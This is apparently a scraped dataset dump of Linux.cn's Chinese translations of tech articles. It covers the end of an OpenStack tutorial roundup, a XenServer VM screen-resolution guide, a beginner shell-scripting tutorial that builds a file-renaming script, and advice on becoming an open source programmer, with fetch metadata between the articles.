* 有没有想过 OpenStack 云上的网络底层到底在如何运作的?OpenStack 经常使用 [Open vSwitch](http://openvswitch.org/) 用于 Neutron 和 Nova 的网络服务;在[这个演练](http://superuser.openstack.org/articles/openvswitch-openstack-sdn/)中学习设置的基础。
这次就是这样了。和往常一样,请查看我们完整的 [OpenStack 教程](https://opensource.com/resources/openstack-tutorials),它汇集了过去三年发布的数百个单独的指南。
作者简介:
Jason Baker - Jason 热衷于使用技术使世界更加开放,从软件开发到阳光政府行动。Linux 桌面爱好者、地图/地理空间爱好者、树莓派工匠、数据分析和可视化极客、偶尔的码农、云本土主义者。在 Twitter 上关注他。
---
via: <https://opensource.com/article/17/1/openstack-tutorials>
作者:[Jason Baker](https://opensource.com/users/jason-baker) 译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| null | HTTPSConnectionPool(host='opensource.com', port=443): Read timed out. (read timeout=10) | null |
8,218 | 如何在 XenServer 7 GUI 虚拟机(VM)上提高屏幕分辨率 | https://linuxconfig.org/how-to-increase-screen-resolution-on-xenserver-7-gui-virtual-machine-vm | 2017-02-19T19:57:47 | [
"XenServer",
"分辨率",
"虚拟机"
] | https://linux.cn/article-8218-1.html | ### 介绍
**目的**
如果你想要将 XenServer 虚拟机作为远程桌面,默认的分辨率可能不能满足你的要求。

本篇的目标是提高 XenServer 7 GUI 虚拟机(VM)的屏幕分辨率
**要求**
访问 XenServer 7 系统的权限
**难易性**
简单
**惯例**
* `#` - 给定命令需要作为 root 用户权限运行或者使用 `sudo` 命令
* `$` - 给定命令作为常规权限用户运行
### 指导
**获得 VM UUID**
首先,我们需要获得想要提升分辨率的虚拟机的 UUID。
```
# xe vm-list
uuid ( RO) : 09a3d0d3-f16c-b215-9460-50dde9123891
name-label ( RW): CentOS 7
power-state ( RO): running
```
提示:如果你将此 UUID 保存为 shell 变量会节省一些时间:
```
# UUID=09a3d0d3-f16c-b215-9460-50dde9123891
```
**关闭 VM**
优雅地关闭 VM 或使用 `xe vm-vm-shutdown` 命令:
```
# xe vm-shutdown uuid=$UUID
```
**更新 VGA 的 VIDEORAM 设置**
检查你目前的 VGA 的 VIDEORAM 参数设置:
```
# xe vm-param-get uuid=$UUID param-name="platform" param-key=vga
std
# xe vm-param-get uuid=$UUID param-name="platform" param-key=videoram
8
```
要提升屏幕的分辨率,将 VGA 更新到 `std` (如果已经设置过,就不需要做什么),并将 `videoram` 调大几兆,如设置成 16:
```
# xe vm-param-set uuid=$UUID platform:vga=std
# xe vm-param-set uuid=$UUID platform:videoram=16
```
**启动 VM**
```
# xe vm-start uuid=$UUID
```

---
via: <https://linuxconfig.org/how-to-increase-screen-resolution-on-xenserver-7-gui-virtual-machine-vm>
作者:[Lubos Rendek](https://linuxconfig.org/how-to-increase-screen-resolution-on-xenserver-7-gui-virtual-machine-vm) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 403 | Forbidden | null |
8,219 | shell 脚本之始 | https://opensource.com/article/17/1/getting-started-shell-scripting | 2017-02-19T21:25:00 | [
"脚本",
"shell"
] | /article-8219-1.html | 
世界上对 shell 脚本最好的概念性介绍来自一个老的 [AT&T 培训视频](https://youtu.be/XvDZLjaCJuw) 。在视频中,Brian W. Kernighan(**awk** 中的“k”),Lorinda L. Cherry(**bc** 作者之一)论证了 UNIX 的基础原则之一是让用户利用现有的实用程序来定制和创建复杂的工具。
用 [Kernighan](https://youtu.be/tc4ROCJYbm0) 的话来说:“UNIX 系统程序基本上是 …… 你可以用来创造东西的构件。…… 管道的概念是 [UNIX] 系统的基础;你可以拿一堆程序 …… 并将它们端到端连接到一起,使数据从左边的一个流到右边的一个,由系统本身管着所有的连接。程序本身不知道任何关于连接的事情;对它们而言,它们只是在与终端对话。”
他说的是给普通用户以编程的能力。
POSIX 操作系统本身就像是一个 API。如果你能弄清楚如何在 POSIX 的 shell 中完成一个任务,那么你可以自动化这个任务。这就是编程,这种日常 POSIX 编程方法的主要方式就是 shell 脚本。
像它的名字那样,shell *脚本*就是一行一行你想让你的计算机执行的语句,就像你手动的一样。
因为 shell 脚本包含常见的日常命令,所以熟悉 UNIX 或 Linux(通常称为 **POSIX** 系统)对 shell 是有帮助的。你使用 shell 的经验越多,就越容易编写新的脚本。这就像学习外语:你心里的词汇越多,组织复杂的句子就越容易。
当您打开终端窗口时,就是打开了 *shell* 。shell 有好几种,本教程适用于 **bash**、**tcsh**、**ksh**、**zsh** 和其它几个。在下面几个部分,我提供一些 bash 特定的例子,但最终的脚本不会用那些,所以你可以切换到 bash 中学习设置变量的课程,或做一些简单的[语法调整](http://hyperpolyglot.org/unix-shells)。
如果你是新手,只需使用 **bash** 。它是一个很好的 shell,有许多友好的功能,它是 Linux、Cygwin、WSL、Mac 默认的 shell,并且在 BSD 上也支持。
### Hello world
您可以从终端窗口生成您自己的 **hello world** 脚本 。注意你的引号;单和双都会有不同的效果(LCTT 译注:想必你不会在这里使用中文引号吧)。
```
$ echo "#\!/bin/sh" > hello.sh
$ echo "echo 'hello world' " >> hello.sh
```
正如你所看到的,编写 shell 脚本就是这样,除了第一行之外,就是把命令“回显”或粘贴到文本文件中而已。
像应用程序一样运行脚本:
```
$ chmod +x hello.sh
$ ./hello.sh
hello world
```
不管多少,这就是一个 shell 脚本了。
现在让我们处理一些有用的东西。
### 去除空格
如果有一件事情会干扰计算机和人类的交互,那就是文件名中的空格。您在互联网上看到过:http://example.com/omg%2ccutest%20cat%20photophoto%21%211.jpg 等网址。或者,当你不管不顾地运行一个简单的命令时,文件名中的空格会让你掉到坑里:
```
$ cp llama pic.jpg ~/photos
cp: cannot stat 'llama': No such file or directory
cp: cannot stat 'pic.jpg': No such file or directory
```
解决方案是用反斜杠来“转义”空格,或使用引号:
```
$ touch foo\ bar.txt
$ ls "foo bar.txt"
foo bar.txt
```
这些都是要知道的重要的技巧,但是它并不方便,为什么不写一个脚本从文件名中删除这些烦人的空格?
创建一个文件来保存脚本,以<ruby> <a href="/article-3664-1.html"> 释伴 </a> <rp> ( </rp> <rt> shebang </rt> <rp> ) </rp></ruby>(**#!**) 开头,让系统知道文件应该在 shell 中运行:
```
$ echo '#!/bin/sh' > despace
```
好的代码要从文档开始。定义好目的让我们知道要做什么。这里有一个很好的 README:
```
despace is a shell script for removing spaces from file names.
Usage:
$ despace "foo bar.txt"
```
现在让我们弄明白如何手动做,并且如何去构建脚本。
假设你有个只有一个 foo bar.txt 文件的目录,比如:
```
$ ls
hello.sh
foo bar.txt
```
计算机无非就是输入和输出而已。在这种情况下,输入是 `ls` 特定目录的请求。输出是您所期望的结果:该目录文件的名称。
在 UNIX 中,可以通过“管道”将输出作为另一个命令的输入,无论在管道的另一侧是什么过滤器。 `tr` 程序恰好设计为专门修改传输给它的字符串;对于这个例子,可以使用 `--delete` 选项删除引号中定义的字符。
```
$ ls "foo bar.txt" | tr --delete ' '
foobar.txt
```
现在你得到了所需的输出了。
在 Bash shell 中,您可以将输出存储为**变量** 。变量可以视为将信息存储到其中的空位:
```
$ NAME=foo
```
当您需要返回信息时,可以通过在变量名称前面缀上美元符号(`$` )来引用该位置。
```
$ echo $NAME
foo
```
要获得您的这个去除空格后的输出并将其放在一边供以后使用,请使用一个变量。将命令的*结果*放入变量,使用反引号(```)来完成:
```
$ NAME=`ls "foo bar.txt" | tr -d ' '`
$ echo $NAME
foobar.txt
```
我们完成了一半的目标,现在可以从源文件名确定目标文件名了。
到目前为止,脚本看起来像这样:
```
#!/bin/sh
NAME=`ls "foo bar.txt" | tr -d ' '`
echo $NAME
```
第二部分必须执行重命名操作。现在你可能已经知道这个命令:
```
$ mv "foo bar.txt" foobar.txt
```
但是,请记住在脚本中,您正在使用一个变量来保存目标名称。你已经知道如何引用变量:
```
#!/bin/sh
NAME=`ls "foo bar.txt" | tr -d ' '`
echo $NAME
mv "foo bar.txt" $NAME
```
您可以将其标记为可执行文件并在测试目录中运行它。确保您有一个名为 foo bar.txt(或您在脚本中使用的其它名字)的测试文件。
```
$ touch "foo bar.txt"
$ chmod +x despace
$ ./despace
foobar.txt
$ ls
foobar.txt
```
### 去除空格 v2.0
脚本可以正常工作,但不完全如您的文档所述。它目前非常具体,只适用于一个名为 `foo\ bar.txt` 的文件,其它都不适用。
POSIX 命令会将其命令自身称为 `$0`,并将其后键入的任何内容依次命名为 `$1`,`$2`,`$3` 等。您的 shell 脚本作为 POSIX 命令也可以这样计数,因此请尝试用 `$1` 来替换 `foo\ bar.txt` 。
```
#!/bin/sh
NAME=`ls $1 | tr -d ' '`
echo $NAME
mv $1 $NAME
```
创建几个新的测试文件,在名称中包含空格:
```
$ touch "one two.txt"
$ touch "cat dog.txt"
```
然后测试你的新脚本:
```
$ ./despace "one two.txt"
ls: cannot access 'one': No such file or directory
ls: cannot access 'two.txt': No such file or directory
```
看起来您发现了一个 bug!
这实际上不是一个 bug,一切都按设计工作,但不是你想要的。你的脚本将 `$1` 变量真真切切地 “扩展” 成了:“one two.txt”,捣乱的就是你试图消除的那个麻烦的空格。
解决办法是将变量用以引号封装文件名的方式封装变量:
```
#!/bin/sh
NAME=`ls "$1" | tr -d ' '`
echo $NAME
mv "$1" $NAME
```
再做个测试:
```
$ ./despace "one two.txt"
onetwo.txt
$ ./despace c*g.txt
catdog.txt
```
此脚本的行为与任何其它 POSIX 命令相同。您可以将其与其他命令结合使用,就像您希望的使用的任何 POSIX 程序一样。您可以将其与命令结合使用:
```
$ find ~/test0 -type f -exec /path/to/despace {} \;
```
或者你可以使用它作为循环的一部分:
```
$ for FILE in ~/test1/* ; do /path/to/despace $FILE ; done
```
等等。
### 去除空格 v2.5
这个去除脚本已经可以发挥功用了,但在技术上它可以优化,它可以做一些可用性改进。
首先,变量实际上并不需要。 shell 可以一次计算所需的信息。
POSIX shell 有一个操作顺序。在数学中使用同样的方式来首先处理括号中的语句,shell 在执行命令之前会先解析反引号 ``` 或 Bash 中的 `$()` 。因此,下列语句:
```
$ mv foo\ bar.txt `ls foo\ bar.txt | tr -d ' '`
```
会变换成:
```
$ mv foo\ bar.txt foobar.txt
```
然后实际的 `mv` 命令执行,就得到了 **foobar.txt** 文件。
知道这一点,你可以将该 shell 脚本压缩成:
```
#!/bin/sh
mv "$1" `ls "$1" | tr -d ' '`
```
这看起来简单的令人失望。你可能认为它使脚本减少为一个单行并没有必要,但没有几行的 shell 脚本是有意义的。即使一个用简单的命令写的紧缩的脚本仍然可以防止你发生致命的打字错误,这在涉及移动文件时尤其重要。
此外,你的脚本仍然可以改进。更多的测试发现了一些弱点。例如,运行没有参数的 `despace` 会产生一个没有意义的错误:
```
$ ./despace
ls: cannot access '': No such file or directory
mv: missing destination file operand after ''
Try 'mv --help' for more information.
```
这些错误是让人迷惑的,因为它们是针对 `ls` 和 `mv` 发出的,但就用户所知,它运行的不是 `ls` 或 `mv`,而是 `despace` 。
如果你想一想,如果它没有得到一个文件作为命令的一部分,这个小脚本甚至不应该尝试去重命名文件,请尝试使用你知道的变量以及 `test` 功能来解决。
### if 和 test
`if` 语句将把你的小 despace 实用程序从脚本蜕变成程序。这里面涉及到代码领域,但不要担心,它也很容易理解和使用。
`if` 语句是一种开关;如果某件事情是真的,那么你会做一件事,如果它是假的,你会做不同的事情。这个 `if-then` 指令的二分决策正好是计算机是擅长的;你需要做的就是为计算机定义什么是真或假以及并最终执行什么。
测试真或假的最简单的方法是 `test` 实用程序。你不用直接调用它,使用它的语法即可。在终端试试:
```
$ if [ 1 == 1 ]; then echo "yes, true, affirmative"; fi
yes, true, affirmative
$ if [ 1 == 123 ]; then echo "yes, true, affirmative"; fi
$
```
这就是 `test` 的工作方式。你有各种方式的简写可供选择,这里使用的是 `-z` 选项,它检测字符串的长度是否为零(0)。将这个想法翻译到你的 despace 脚本中就是:
```
#!/bin/sh
if [ -z "$1" ]; then
echo "Provide a \"file name\", using quotes to nullify the space."
exit 1
fi
mv "$1" `ls "$1" | tr -d ' '`
```
为了提高可读性,`if` 语句被放到单独的行,但是其概念仍然是:如果 `$1` 变量中的数据为空(零个字符存在),则打印一个错误语句。
尝试一下:
```
$ ./despace
Provide a "file name", using quotes to nullify the space.
$
```
成功!
好吧,其实这是一个失败,但它是一个*漂亮的*失败,更重要的是,一个*有意义*的失败。
注意语句 `exit 1` 。这是 POSIX 应用程序遇到错误时向系统发送警报的一种方法。这个功能对于需要在脚本中使用 despace ,并依赖于它成功执行才能顺利运行的你或其它人来说很重要。
最后的改进是添加一些东西,以保护用户不会意外覆盖文件。理想情况下,您可以将此选项传递给脚本,所以它是可选的;但为了简单起见,这里对其进行了硬编码。 `-i` 选项告诉 `mv` 在覆盖已存在的文件之前请求许可:
```
#!/bin/sh
if [ -z "$1" ]; then
echo "Provide a \"file name\", using quotes to nullify the space."
exit 1
fi
mv -i "$1" `ls "$1" | tr -d ' '`
```
现在你的 shell 脚本是有意义的、有用的、友好的 - 你是一个程序员了,所以不要停。学习新命令,在终端中使用它们,记下您的操作,然后编写脚本。最终,你会把自己从工作中解脱出来,当你的机器仆人运行 shell 脚本,接下来的生活将会轻松。
Happy hacking!
---
作者简介:
Seth Kenlon 是一位独立的多媒体艺术家,自由文化倡导者和 UNIX 极客。他是基于 Slackware 的多媒体制作项目([http://slackermedia.ml)的维护者之一](http://slackermedia.ml%EF%BC%89%E7%9A%84%E7%BB%B4%E6%8A%A4%E8%80%85%E4%B9%8B%E4%B8%80)
---
via: <https://opensource.com/article/17/1/getting-started-shell-scripting>
作者:[Seth Kenlon](https://opensource.com/users/seth) 译者:[hkurj](https://github.com/hkurj) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| null | HTTPSConnectionPool(host='opensource.com', port=443): Read timed out. (read timeout=10) | null |
8,220 | 如何成为一名开源程序员 | https://opensource.com/article/17/1/how-get-started-open-source-programmer | 2017-02-20T08:32:00 | [
"程序员",
"开源"
] | https://linux.cn/article-8220-1.html | 科技世界的探索总是让我们兴奋不已。很多科技日新月异,你探索得越深远,你看到的世界就越广阔无穷,这就像是[一只驼一只的海龟](https://en.wikipedia.org/wiki/Turtles_all_the_way_down)一样。因此,科技世界也像宇宙一样无穷无尽。如果你也渴望加入到推动技术世界发展的社区中,你应该如何开始呢?你要做的第一步是什么?以后应该怎么做?

首先,你得明白开源指的是开放软件源代码的意思。这个很好理解,但是“开源”这个词最近一段时间经常出现在我们身边,所以估计有时候大家都忘记了开源只是用来形容一种文化现象,而不是一家世界 500 强公司的名字。跟其它公司或组织不同的是,你不用去参加面试或填个申请表、注册表的方式来成为一名开源程序员。你需要做的就是**编程**,然后把代码共享出来,并且完全保证在任何情况下该代码都保持开放状态。
只需要这样,你就已经成为一名开源程序员了!
现在你有了目标,那么你为之奋斗的基础能力怎么样了?
### 技能树
你玩过 RPG 游戏吗?在那些游戏中就有关于线性“技能树”的概念。当你玩游戏时,你掌握了基本技能后,便会“升级”,并且获得新的技能,然后你使用这些新的技能再次“升级”到一个更高的等级,你又会得到更多新的技能。通过这样不断的升级,获取新技能,以让你的游戏角色变得更强大。
成为一个程序员有点像提升你的技能树等级。你掌握了一些基础的技术,在参与开源项目开发的过程中,你不断实践,直至自己的技术等级上升到一个新的层次,之后你又懂了一些新的技术,并在项目开发过程中不断实践,不断提升技术等级,然后你再沿着这个技能树不断成长,不断进步。
你会发现自己面临的不只一棵技能树。开源软件涉及到的技术比较多,包括很多参与者自身的优势、能力及兴趣爱好等。然而,有一些非常重要的技能有助于你成为一名伟大的程序员,不断的提高这些技能是成功参与到开源项目中的重要组成部分。
### 脚本编程

对于像 Linux 或 BSD 系统这样的 POSIX 系统而言,最大的优势之一就是在你每次使用电脑的过程中,你都有机会练习编程。如果你不知道如何开始编程,你可以从解决工作中的一些基本问题做起。想想你日常工作中有哪些重复性的工作,你可以通过编写脚本的方式来让它们自动执行。这一步非常简单,比如说批量转换文件格式或重置图片的大小、检查邮件,甚至是通过单击运行你最常用的五个应用程序。无论是什么任务,你可以花一些时间去编写脚本以让它们自动完成。
如果有些工作需要在控制终端下操作,那么你就可以编写脚本来完成。学习 bash 或 tsch 编程,把编写系统脚本作为你写代码和理解系统的工作原理的第一步。
### 系统管理

从这一点来讲,你也可以转变成一个程序员,也可以整个跳到另外一个不同的技能树上:那就是系统管理工作。跟程序员比起来,这两个职业在技能上有一些相似(一个优秀的系统管理员应该有一些编程经验,并能够熟练使用 Python、Perl,或者其它类似的编程言语来解决一些独特的问题),而*程序员*指的是那些一直编写代码的人。
### 程序员

开源是学习编程技巧最好的方式:你可以查看其他人写的代码,从中借鉴他们的想法和技术,从他们的错误中学习,并跟自己写的代码进行对比以发现两者的优缺点;如果你是使用 Linux 或 BSD 操作系统,**整个**环境对你来说都是开放的,目之所及,随心所欲。
这就像旅游指南里所说的,随意行去。事实上你不大会去深入到一个项目的源代码中,但是如果这样的话,可以让你在某一时刻突然意识到自己会编程了。编程是一份很难的技术活,否则大家都可以从事编程工作了。
幸运的是,编程是有逻辑而结构化的,这些特性跟编程语言相关。你也许不会深入的去研究编程,但是你研究得越深,你懂的越多。
懂得如何控制以及让电脑自动执行任务是一回事,但是知道如何编写其它人想自动实现任务的代码,才能说明你已经真正进入到编程领域了。
### 精通多种编程语言

所有的编程语言都旨在处理相同的任务:让计算机能够完成计算工作。选择一种编程语言时你得考虑以下几个因素,学编程的目的是什么,你所做的工作最常用的编程语言是什么,你最容易理解哪一种编程语言以及你的学习方式。
随便查下相关资料,你就可以了解编程语言的复杂性了,然后再根据自己的能力水平来决定先学习哪种编程语言。
选择编程语言的另一个方式是根据你的使用目的来决定,看看你身边的同事使用哪种编程语言。如果你是为了开发桌面环境的工具,你应该学习 C 语言和 Vala 语言,或者 C++ 语言。
总之,不要在各种编程语言之间不知所措。编程语言之间都是相通的。当你学好一种编程语言并能用它来解决工作中的一些实际问题的时候,你会发现学习另外一种编程语言更容易。毕竟,编程语言只是一些语法和相关规则的集合;学会一种编程语言后,再使用同样的方法去搞懂另外一种语言完全不是个事。
主要目的还是学会一种编程语言。选择一个比较适合自己或者你感兴趣的编程语言,或者是你的朋友在用的编程语言,或者是选择文档比较丰富,并且你理解起来也容易的编程语言,但是,最好是只关注并先学会其中的一种编程语言。
### 这是一个开源项目吗?
无论你是编程新手还是一个老司机,在你进入到开源新世界之前,你需要搞明白做开源软件的重要一点就是“开放源代码”。
最近一些厂商惯用的市场营销策略就是宣称他们的软件是开源的。然而,有些厂商只是发布了一个公共的 API 或者表示他们愿意接受其它开源用户提交的代码而已。“开源”这个词不是一个商标,并且也没有任何组织来决定怎么使用这个词。但是, Debian Linux 创造人 Ian Murdock 联合成立的<ruby> <a href="http://opensource.org/"> 开放源代码促进会 </a> <rp> ( </rp> <rt> Open Source Initiative </rt> <rp> ) </rp></ruby>对开源这个词进行了[定义](https://opensource.org/licenses)(授权“允许软件被用户自由地使用、随意修改及分享”),并且被正式批准和[授予](https://opensource.org/licenses/category)许可证的软件才属于真正的开源软件。
给你的软件代码应用一个开源许可证,你就成为一名开源程序员了。恭喜你!
### 开源社区

咨询任何开源软件爱好者,他们会告诉你开源软件最关键的是人。没有积极的开源贡献者,软件开发就会中止。计算机需要用户、提交缺陷的人、设计师及程序员。
如果你想加入全球开源社区为开源软件做贡献,你同样需要成为该社区的一个成员,即使你并不善于社交也不要紧。这通常包括订阅邮件列表、加入 IRC 频道,或者在论坛里表现活跃,从最低级别开始。任何成熟的开源社区都已经存在了足够长的时间,见惯了来来往往的人们,所以,在你真正融入这个世界、在他们接纳你之前,你需要证明出你并非流星一逝般的过客,如果你想要做成一件大事,那就得有长期投身于其中的打算。
如果你只是想给他们提供一些小的帮助,这也是可以接受的。我自己也提交一些小的补丁到一些项目中,有时候项目管理者会觉得这个更新比较好,有时候他们也会拒绝我提交的代码补丁。但是,如果这个被拒绝的补丁对我很重要,我就会为我自己和客户维护它,并一直维护下去。
这就是参与到开源项目。
但是这些社区在哪里呢?这个跟开源项目有关。有些项目有专职的社区管理员,他们会把所有的社区参与者招集到一个打大家都能访问的地方。有些项目则围绕论坛运行,他们使用邮件列表,或者使用问题追踪器与参与者联系。找到这些开源社区对你来说也不是个事儿。
还有个重要的事情就是研究他们的源代码。“开源”就是开放“源代码”,所以你可以把他们的代码拿来瞅瞅。尽管要全面了解他们的项目可能超乎你的能力,但是你可以知道这个项目是如何管理的,他们最可能需要帮助的是什么。关于代码是如何组织的?这些代码有注释吗?它们使用统一的程序风格吗?这些问题你可以查阅相关文档,尤其是 README、 LICENSE ,或者是 COPYING 这几个文件。
不要低估遵守开放源代码承诺的重要性。这是你被允许参与进来到开源项目来的原因,因此,你得深入地考虑下你能从中学习到什么,以及你将如何为该项目提供帮助。
找到最佳的开源社区更像是约妹子,尤其是更像在[《偷天情缘》](https://en.wikipedia.org/wiki/Groundhog_Day_(film))里的约会。这需要时间,并且刚开始那几次有可能会失败。你参与这样的聚会越多,你就越了解这些开源项目。最后,你会更了解自己,当你找到了与其它参与者融为一体的方式时,你就已经成功了。总之,你得要有耐心,一切顺其自然。
### 行动比语言更重要

作为一名开源程序员最重要的是写代码(开源中的“源”),任何想法都没多少意义。关键是把你的想法变成实际的东西。你要让大家都知道你在做什么、知道你不怕苦不怕累,也愿意在开源项目上花时间,并且能够通过编程的方式来实现自己的各种想法。
为了更高效地完成那些工作,你需要对开源项目做做功课,包括项目怎么样才能听取你的建议、哪个分支是稳定的哪个是开发的等等。
从下面几点开始:
* 熟悉一个项目及其协作开发的氛围,并且接受这种氛围。
* 编写软件升级包、缺陷修复包,或者一些小的功能需求,并且提交它们。
* 如果你提交的补丁被拒绝了,也不要难过。他们拒绝的不是你个人,而是开发小组在针对你提交的代码进行评估后作出的一个反馈。
* 如果你提交的代码被改得面目全非后才被接受也不要泄气。
* 从头再来,不断努力,再接受更大的挑战。
在开源项目中不应该开设排行榜。然而,有些开源社区却弄了个贡献排名,其实这没必要。大家只需要积极参与、奉献,贡献你的才智、提交你的代码,这样就可以了。
### 开发软件

编程不管在那种情况下都关乎于你自身的发展。无论你是否为了寻找解决问题的新方法,寻找优化代码的方式,学习新的编程语言,或者是学习如何更好的与其它人员合作,你都不会停止成长。你自己成长得越多,对开源项目越有帮助。
个人成长和职业技能的提升是你参与开源项目的终极目标,但是实际上这是一个贯穿整个项目的持续过程。成为一个开源程序员跟得到一份公务员工作不同;这是一个持之以恒的过程。学习、分享、再学习,或许你会去编写一个[“康威生命游戏”](https://en.wikipedia.org/wiki/Conway's_Game_of_Life),然后你会学到越来越多。
这就是开源的过程:自由地开发,每一行代码。因此,发现你的技能树,激发潜能,付出努力,不断提高自己的技能,并最终参与其中。
(题图素材修改自:[woot.com](http://shirt.woot.com/derby/entry/78479/turtles-all-the-way-down))
---
作者简介:
Seth Kenlon —— Seth Kenlon 是一位独立多媒体艺术家,开源文化倡导者, Unix 极客。他还是 Slackware 多媒体产品项目的维护人员之一,官网:<http://slackermedia.ml> 。
---
via: <https://opensource.com/article/17/1/how-get-started-open-source-programmer>
作者:[Seth Kenlon](https://opensource.com/users/seth) 译者:[rusking](https://github.com/rusking) 校对:[Bestony](https://github.com/Bestony), [wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | Looking out at the world of technology is exciting. It has a lot of moving parts, and it seems the further you dig into it, the deeper it gets, and then it's [turtles all the way down](https://en.wikipedia.org/wiki/Turtles_all_the_way_down). For that very reason, technology is also overwhelming. Where do you start if you're keen to join in and help shape the way the modern world functions? What's the first step? What's the twentieth step?
The first thing to understand is that open source is open. This might seem obvious, but the phrase "open source" is thrown around so often these days that sometimes people forget it's just a description of a cultural phenomenon, not the name of a Fortune 500 company. Unlike other jobs or groups, you don't have to interview or complete a sign-up sheet or registration form to become an open source programmer. All you do to become an open source programmer is *program* and then share your code, ideally with a guarantee that the code remains open regardless of how it's used.
That's it. You're an open source programmer!
You now have your destination, but what about the logistics?
## Skill trees
Have you ever played an RPG? In these games, there's the concept of linear "skill trees". When you play, you acquire basic skills that you build upon to "level up" and get new skills, which you use to acquire new ones and "level up" again. And so on.
Becoming a programmer is a little like adding to your skill tree. You get some basic skills, you practice them until they're second nature, and then you get new skills, and so on, and then you are progressing along your chosen skill tree.
You'll find you'll encounter more than one skill tree. Open source has many entry points and many individuals with their own unique strengths, talents, and interests. However, certain definable skills contribute to being a great programmer, and developing them is an important part of participating successfully in open source projects.
## Scripting
One of the biggest advantages of a POSIX system like Linux or BSD is that every time you use your computer, you've got the opportunity to practice a little programming. If you have no idea where to start programming, then begin with how you work. Find repetitive tasks that you perform every day, and start automating them. This step can be something simple, like converting or re-sizing batches of photos, checking email, or even just getting the five applications you use each day launched with one click. Whatever the task, take the time to automate something for yourself.
If you can do something from a terminal, then it can be scripted. Learn `bash`
or `tsch`
and let system scripting be your introduction to writing code and to how your system works.
## Sysadmin
From this point, you can continue on to become a programmer, or you can cross over to a different skill tree entirely: that of systems administration. The two careers have some overlap (a good sysadmin ought to have a little programming experience, and should be ready to wield Python, Perl, or a similar language to develop unique solutions), but a *programmer* is someone who builds with code day in and day out.
## Programmer
Open source is a great way to learn programming skills; you get to look at other people's code, borrow ideas and techniques, learn from their mistakes, get a critique of your own code, and if you use Linux or BSD, the *entire* stack is open to you—as far as the eye can see, it's all yours for the taking.
That's what the travel brochure says, anyway. The reality is that you're probably not going to start digging into the source code of a project and come out the other side with the sudden realization that you accidentally learned to code. Programming is hard work. If it wasn't, everyone would do it.
Luckily, programming is logical and structured, so it builds upon itself. You might not fall into programming, but the more you poke at it, the more you start to understand it.
Understanding how to control and automate a computer is one thing, but knowing how to write the stuff that other people want to automate is the point that you cross over into the realm of *programming*.
## Polyglot
All programming languages aim to do the same thing: make computers compute. Choosing one is a mix of what you think you want to do, what (if any) language is in common use in the industry you are targeting, and what language you happen to best understand given the materials available to you and your learning style.
With a little bit of research, you can get a good idea of a language's complexity, and then decide what to try first based on your own level of comfort.
Another way to choose a language is to look at your goal, find out if other people are working toward the same thing, and then look at what they're using. If your aim is to develop desktop tools, you might learn C and Vala for one, or C++ for another.
At the end of the day, though, don't get overwhelmed with all the available choices. Languages stack well. Once you learn one programming language well enough to fall back on it when you need to get something done, you'll find it a lot easier to pick up another one. A "language" is just a set of syntax and rules, after all; learn one, and it's fairly trivial to superimpose new rules over the same theory.
The primary goal is to learn a language. Pick the one that makes sense to you or the one that's most appealing to you or the one that your friends are using or the one that has the documentation you understand best, but focus on one and learn it.
## Open Whazzit?
Whether or not you're just learning to program or you're an old pro just getting into open source, before jumping head first into this brave new world, you need to learn what makes open source, well, "open source."
Claiming software is open source is the latest marketing approach some software vendors are wielding. Unfortunately, some vendors just mean they've released a public API or that they're receptive ("open") to suggestions from their users. The word "open" isn't trademarked and no committee governs how or when the word is used. However, the [Open Source Initiative](http://opensource.org/), co-founded by the late Ian Murdock of Debian Linux, [defines](https://opensource.org/licenses) what open source means (licenses that "allow software to be freely used, modified, and shared"), and formally approves and [tracks](https://opensource.org/licenses/category) licenses deemed truly "open."
Apply one of those licenses to your code, and you're an open source programmer. Congratulations!
## Community
Ask any open source enthusiast and they'll tell you the most important thing about open software is the people. Without motivated contributors, software stagnates. Computers need users, bug reporters, designers, and programmers.
If you want to join or cultivate the global open source community, you need to become a part of the community, even if you're not a people person. This usually encompasses subscribing to mailing lists, joining IRC channels, or hopping onto forums, and starting at the bottom of the totem pole. Any mature community has been around long enough to see prospective members come and go, so you have to understand that when you saunter in ready to change their world, before they all agree to your master plan, you have to prove that you're not going to disappear after three months when something sparkly on the other side of the Net catches your eye. Be ready for the long haul if you aspire to something big.
If you're just around to lend a hand, then that's acceptable, too. I myself have submitted small patches to projects, and sometimes the project leads think these are good and other times they reject them. If the rejected patch is important to me, I maintain it for myself and clients, and otherwise I move forward.
It's part of the process.
Where do these communities exist? It depends on the project. Some projects have dedicated community managers who help bring everyone together in public spaces for everyone to see. Other projects form around forums, use mailing lists, or even issue trackers. Look for the communities, and you'll find them.
Just as importantly, though, look at the code! They call it open "source" for a reason, so be sure to find the code and take a peek. Even if it's still above your level of full comprehension, it gives you an idea of how the software project organizes itself and possibly where they might need assistance. How is the code organized? Does the code have comments? Is it tidy with a consistent style? Review the documentation, particularly the README, LICENSE, or COPYING files.
Don't under estimate the importance of following through on the promise of open code. It's the reason you're getting involved, so look at it critically from every angle to see what you can learn from it and how you might contribute.
Finding the best community is a lot like dating, but specifically it's like dating in [Groundhog Day](https://en.wikipedia.org/wiki/Groundhog_Day_(film)). It takes time, and the first couple of tries might fall flat. The more you go through the process, the more you start to feel déjà vu. Eventually, though, you learn enough about yourself and your interests, you find the right combination of other people, and you settle in somewhere. Have patience, and let it happen naturally.
## Actions > Words
Being an open source programmer is about the code (the "source" part of open source), and ideas are a dime a dozen. What speaks volumes is producing. You need to show you know what you're doing, willing to get your hands dirty, spend your time on the project, and can back up your ideas with something that compiles.
To do that effectively, of course, you should do your homework on the project itself, including learning how a project prefers to receive submissions and which branches are the stable and development ones.
To approach getting started:
- Get familiar with a project and its development culture, and be respectful of it.
- Write patches, bug fixes, or small, requested features, and submit them.
- Don't get discouraged if your work is rejected. You are not being rejected personally, your work was evaluated and the development team made a call.
- Don't get discouraged if your work is accepted, but changed beyond recognition.
- Rinse, repeat, and try new and bigger changes.
